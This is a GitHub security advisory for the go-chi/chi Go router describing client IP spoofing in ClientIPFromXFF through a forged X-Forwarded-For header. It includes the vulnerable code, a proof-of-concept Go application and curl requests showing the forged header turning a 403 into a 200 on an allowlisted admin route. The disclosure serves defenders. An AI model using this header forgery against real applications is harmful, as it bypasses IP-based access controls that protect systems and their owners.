Skip to content

chi: Client IP spoofing in ClientIPFromXFF via X-Forwarded-For

Moderate severity GitHub Reviewed Published Oct 12, 2026 in go-chi/chi • Updated Oct 23, 2026

Package

gomod github.com/go-chi/chi/v5 (Go)

Affected versions

<= 5.3.2

Patched versions

5.4.0

Description

Summary

ClientIPFromXFF skips any X-Forwarded-For entry in a configured trusted CIDR but never verifies that the direct TCP peer in http.Request.RemoteAddr belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by middleware.GetClientIP.

The attack is remote and requires one unauthenticated HTTP request with no user interaction (AV:N/AC:L/PR:N/UI:N). It changes security decisions and exposes one protected handler within the same application (S:U/C:L/I:L); no availability loss was observed (A:N).

Preconditions: The application uses ClientIPFromXFF and makes the origin server reachable by an anonymous client outside the configured trusted-proxy CIDRs. No victim interaction is required.

  1. Send GET /admin directly to the origin with no X-Forwarded-For header.
  2. Observe a 403 Forbidden response and an empty derived client IP.
  3. Repeat the request with X-Forwarded-For: 10.0.0.7, 198.51.100.42.
  4. Observe 200 OK and client-ip="10.0.0.7". Expected: the untrusted direct peer prevents the forwarding chain from being accepted.

Details

The vulnerable code is ClientIPFromXFF in middleware/client_ip.go, lines 93-116 at the tested revision. It calls walkXFF with only the attacker-controlled header, skips every entry that matches a trusted prefix, and stores the first remaining address:

walkXFF(r.Header[xForwardedForHeader], func(v string) bool {
	ip, ok := parseHeaderAddr(v)
	if !ok {
		return true
	}
	if inAnyPrefix(ip, prefixes) {
		return false
	}
	found = ip
	return true
})

The function does not parse r.RemoteAddr before this walk. Consequently, the configured CIDRs identify trusted strings inside X-Forwarded-For, but do not establish that the immediate sender is one of those trusted proxies.

Proof of concept

Using Go 1.24 or later, create and run this minimal application against the tested revision:

mkdir chi-clientip-poc
cd chi-clientip-poc
go mod init clientip-poc
go get github.com/go-chi/chi/v5@167e1e3bd039d060696b99c8da4e876ae04f42c1
cat > main.go <<'EOF'
package main

import (
	"fmt"
	"log"
	"net/http"

	"github.com/go-chi/chi/v5"
	"github.com/go-chi/chi/v5/middleware"
)

const allowedIP = "10.0.0.7"

func main() {
	r := chi.NewRouter()
	r.Use(middleware.ClientIPFromXFF("198.51.100.0/24"))
	r.Get("/admin", func(w http.ResponseWriter, r *http.Request) {
		clientIP := middleware.GetClientIP(r.Context())
		if clientIP != allowedIP {
			http.Error(w, fmt.Sprintf("denied: tcp-peer=%q client-ip=%q", r.RemoteAddr, clientIP), http.StatusForbidden)
			return
		}
		fmt.Fprintf(w, "allowed: tcp-peer=%q client-ip=%q\n", r.RemoteAddr, clientIP)
	})

	log.Print("listening on http://127.0.0.1:3001")
	log.Fatal(http.ListenAndServe("127.0.0.1:3001", r))
}
EOF
go run .

The no-header control was rejected:

$ curl --http1.1 -i http://127.0.0.1:3001/admin
HTTP/1.1 403 Forbidden
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
Date: Tue, 06 Oct 2026 15:46:27 GMT
Content-Length: 48

denied: tcp-peer="127.0.0.1:54416" client-ip=""

Adding the forged chain authorized the same direct client:

$ curl --http1.1 -i -H 'X-Forwarded-For: 10.0.0.7, 198.51.100.42' http://127.0.0.1:3001/admin
HTTP/1.1 200 OK
Date: Tue, 06 Oct 2026 15:46:33 GMT
Content-Length: 57
Content-Type: text/plain; charset=utf-8

allowed: tcp-peer="127.0.0.1:54417" client-ip="10.0.0.7"

Impact

I made an anonymous direct connection from 127.0.0.1, supplied a header that ended in a different trusted-proxy CIDR, and caused the application to treat my client IP as the allowlisted 10.0.0.7. This changed the authorization decision from 403 Forbidden to 200 OK for the protected handler.

References

@VojtechVitek VojtechVitek published to go-chi/chi Oct 12, 2026
Published to the GitHub Advisory Database Oct 23, 2026
Reviewed Oct 23, 2026
Last updated Oct 23, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(2nd percentile)

Weaknesses

Insufficient Verification of Data Authenticity

The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data. Learn more on MITRE.

CVE ID

CVE-2026-114437

GHSA ID

GHSA-j6qf-3m9c-vwj3

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.